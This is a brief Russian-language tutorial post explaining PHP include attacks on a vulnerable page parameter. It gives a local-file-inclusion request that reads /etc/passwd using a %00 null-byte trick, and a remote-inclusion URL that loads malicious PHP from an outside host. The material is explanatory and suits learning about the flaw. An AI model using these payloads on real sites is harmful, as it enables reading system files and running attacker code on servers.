PHP Include - это просто!

PHP Include - это просто!

@webware

t.me/webware

Привет! Сегодня я расскажу о такой атаке, как PHP Include. PHP Include - это атака, которая заключается во внедрении сурогатной страницы в уязвимое веб-приложение.

Давайте рассмотрим всё на примере. Допустим что существует веб-приложение, которое принимает аргумент page через GET запрос, вот так:

http://vuln.com/vulnpage.php?page=index

Далее содержимое аргумента page конкатенируется со строкой .php, то есть index, становиться index.php. И так, давайте посмотрим наш вредоносный запрос.

http://vuln.com/vulnpage.php?page=/etc/passwd%00

Этот запрос возвратит содержимое файла passwd в папке etc. Файл passwd это конфигурационный файл в *NIX системах, в котором хранятся имена пользователей и иногда хэши паролей. Но ведь к этому аргументу конкатенирует .php, скажете вы. Как же passwd тогда откроется? Ведь файл passwd без расширений, и тогда на помощь к нам приходит NULL-символ. В URL он обозначается как "%00". В многих языках программирования, он указывает на конец строки. Это помогает нам обойти конкатенацию.

Также иногда возможно внедрить удалённый файл, а не локальный. Вот пример вредоносного запроса:

http://vuln.com/vulnpage?page=http://other-site.com/other-page.htm/malicous-code

Откроется файл malicous-code.php, в котором может находиться вредоносный php код.

Ну, на этом всё. Спасибо за внимание.

Источник codeby.net


Report Page